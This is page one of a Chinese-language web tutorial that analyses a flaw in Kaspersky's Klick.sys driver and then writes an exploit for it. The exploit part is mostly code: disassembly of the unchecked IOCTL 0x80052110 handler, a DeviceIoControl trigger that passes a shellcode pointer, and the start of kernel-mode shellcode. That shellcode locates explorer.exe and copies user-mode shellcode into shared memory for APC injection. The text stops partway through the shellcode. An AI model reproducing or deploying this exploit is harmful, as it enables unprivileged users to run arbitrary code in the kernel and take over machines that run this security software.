|
漏洞分析 漏洞出现卡巴的NDIS-TDI Hook驱动(Klick.sys)中,该驱动在处理0x80052110号IO请求时未对参数进行足够的验证,导致非特权用户能够以Ring0权限执行任意代码,这种类似的漏洞已经暴露过不少,在定位问题代码的时候可以在IDA中直接以文本搜索80052110,问题代码如下: .text:00011740 mov [ebp+var_8], ebx .text:00011743 jz loc_11988 .text:00011749 cmp eax, 80052108h .text:0001174E jz loc_1195E .text:00011754 cmp eax, 8005210Ch .text:00011759 jz loc_1194A .text:0001175F cmp eax, 80052110h .text:00011764 jz loc_117F8 此处代码是驱动的Dispatch例程中对IO代码处理的一个Switch Case判断,看看loc_117F8处的处理代码: .text:000117F8 loc_117F8: ; CODE XREF: sub_1172A+3Aj .text:000117F8 mov esi, [ebp+arg_4] .text:000117FB cmp esi, ebx .text:000117FD jz loc_119B0 .text:00011803 cmp [ebp+arg_8], 8 .text:00011807 jb loc_119B0 .text:0001180D mov eax, [ecx] .text:0001180F push ebx .text:00011810 call dword ptr [eax+14h] .text:00011813 mov edi, eax .text:00011815 cmp edi, ebx .text:00011817 jz loc_1199F .text:0001181D mov eax, [edi] .text:0001181F mov ecx, edi .text:00011821 call dword ptr [eax+4] .text:00011824 push dword ptr [esi+4] .text:00011827 mov ecx, edi .text:00011829 push dword ptr [esi] .text:0001182B call sub_15306 注意此时的 [ebp+arg_4]也就是esi是第二个参数,指向用户提交的lpInBuffer,请看DeviceIOControl的原型: BOOL DeviceIoControl( HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped ); 跟入sub_15306: .text:00015306 push ebp .text:00015307 mov ebp, esp .text:00015309 sub esp, 20h .text:0001530C push ebx .text:0001530D push esi .text:0001530E push edi .text:0001530F mov esi, ecx .text:00015311 call sub_1555A .text:00015316 mov ecx, [ebp+arg_4] .text:00015319 lea edi, [esi+10h] .text:0001531C mov [esi+1ECh], ecx .text:00015322 push ecx .text:00015323 lea ecx, [esi+1B8h] .text:00015329 mov [esi+1F0h], eax .text:0001532F mov [edi], eax .text:00015331 mov eax, [ebp+arg_0] .text:00015334 push ecx .text:00015335 push edi .text:00015336 mov [esi+1ACh], eax .text:0001533C call eax //注意这一条语句,eax指向用户提交的参数 00015331处的语句将用户态下传进来的指针传到了eax寄存器,由于没有做任何参数的有效性检查,导致了可以执行任意代码。
Exploit编写 现在剩下的就是执行什么代码的问题了,只要把函数指针传递给通过DeviceIOControl传递给驱动即可,由于是Ring0权限,普通的 Shellcode就不能用,这个时候我们就只能使用背景知识中介绍的本机API,大致实现的方案有两种:1.所有的功能都在内核态实现 2.在内核态向用户态插入代码。显然,第一种方法不太容易实现,这指的是功能较为复杂的Shellcode,例如:下载执行,绑定端口等等。只是权限提升的话网上已经有大牛给出了现成的代码。假如Shellcode较为复杂,第2种方法的优势就体现出来了,kernel下的Shellcode只是作为一个 loader,负责将Ring3下的Shellcode插入到Ring3下的某个进程中。这儿我只介绍第2种方法的实现,POC代码是一个台湾的网友修改自一个老外的,不过里面有一些小Bug,在调试的过程中害得我蓝屏了无数次。触发漏洞的代码非常简单,只有聊聊数行: hDevice = CreateFile("\\\\.\\KLICK",0,0,NULL,3,0,0); InSize = 0x8; InBuff[0] =(DWORD) Ring0Shellcode; dwIOCTL = 0x80052110; DeviceIoControl(hDevice, dwIOCTL, InBuff,0x8,(LPVOID)NULL,0,&junk, NULL); 可能有读者会问为什么InBuff的大小是8,在上面驱动的反汇编代码中就能找到答案。剩下就是编写Ring0Shellcode的问题了, Ring0Shellcode主要是完成几个功能:将Usermode的Shellcode拷贝到目标进程,初始化一个APC,将此APC插入到 Ring3下的线程中,然后将驱动所在线程挂起,防止其继续执行导致蓝屏。用到的API函数有如下几个:ExAllocatePool、 KeInitializeApc、KeInsertQueueApc、ZwYieldExecution、 KeDelayExecutionThread。代码如下,为照顾初学者,已经加入了详细的注释: void _declspec(naked) Ring0Shellcode() { //加入naked关键字是告诉编译器不要添加额外的建立栈帧等代码 __asm { nop nop nop nop nop nop nop nop
mov eax,fs:[0x124] //TEB mov esi,[eax+0x44] //EPROCESS mov eax,esi
search: mov eax,[eax+0x88] //activeprocess sub eax,0x88
/*cmp dword ptr[eax+0x84],0x4 EPROCESS_PID可以通过比较PID的方式找到System这个进程,这个是在提升进程权限为System的Shellcode中用到*/
cmp dword ptr[eax+0x174],'lpxe' //FileName explorer.exe jne search
// mov ebx,dword ptr[eax+0xc8] system token*/ mov ebx,eax
lea esi,usermodeshellcode //usermodeshellcode mov ecx,0x1d6 // usermodeshellcode的大小是0x1d6 /*这儿利用了Ring3下的7FFE0000和Ring0下的FFDF0000指向同一物理内存,并且所有进程都可见这一发现*/ mov dword ptr[edi],0xffdf0800 push edi mov edi,[edi] rep movsb //将Ring3Shellcode拷贝至共享内存0xffdf0800 pop edi
上一页 [1] [2] [3] 下一页 |